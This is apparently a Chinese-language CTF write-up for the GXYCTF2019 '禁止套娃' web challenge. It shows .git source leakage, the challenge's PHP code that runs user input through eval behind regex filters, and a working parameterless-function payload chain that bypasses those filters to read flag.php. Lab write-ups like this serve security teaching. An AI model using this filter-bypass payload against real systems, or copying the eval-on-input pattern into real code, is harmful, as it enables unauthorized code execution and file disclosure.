[GXYCTF2019]禁止套娃

imtaieee發表於2024-11-30

題目連結:[GXYCTF2019]禁止套娃

開啟環境後如下所示。

經過檢視請求包及響應包,均未發現有相關提示,因此使用 CTF Web 常用的字典進行目錄掃描(不推薦使用太大的字典)。

這裡使用的工具是 dirsearch,掃描發現存在 .git 目錄。

因此使用工具 GitHack 來提取可能存在的洩露的原始碼。

得到的 index.php 原始碼如下。

<?php
include "flag.php";
echo "flag在哪裡呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("還差一點哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("還想讀flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

...

<?php
include "flag.php";
echo "flag在哪裡呢?<br>";
if(isset($_GET['exp'])){
    // exp 引數中不能出現 data:// filter:// php:// phar:// 
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        // 匹配一個函式呼叫結構,類似於:func(arg),或巢狀的 func(func(arg)),也就是說,僅可傳入無參函式
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            // exp 函式中不能出現 et、na、...
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("還差一點哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("還想讀flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

也就是說,要構造一個無參的 Payload,下面先給出最終的 Payload。

Payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

首先是 localeconv 函式,返回一個包含本地數字及貨幣格式資訊的陣列,而且陣列中的第一個元素就是 .

其次是 current 函式,返回陣列中當前元素的值。

即,透過 localeconv 函式與 current 函式的配合,成功獲取了字元:.

隨後,透過 scandir 函式來檢視當前存在的目錄檔案,即如下。

可以發現,flag.php 在陣列中的位置為倒數第二個,因此使用 array_reverse 函式與 next 函式來定位到字串:flag.php,最終,使用 highlight_file 列印出 flag.php 檔案的原始碼。

如下。

相關文章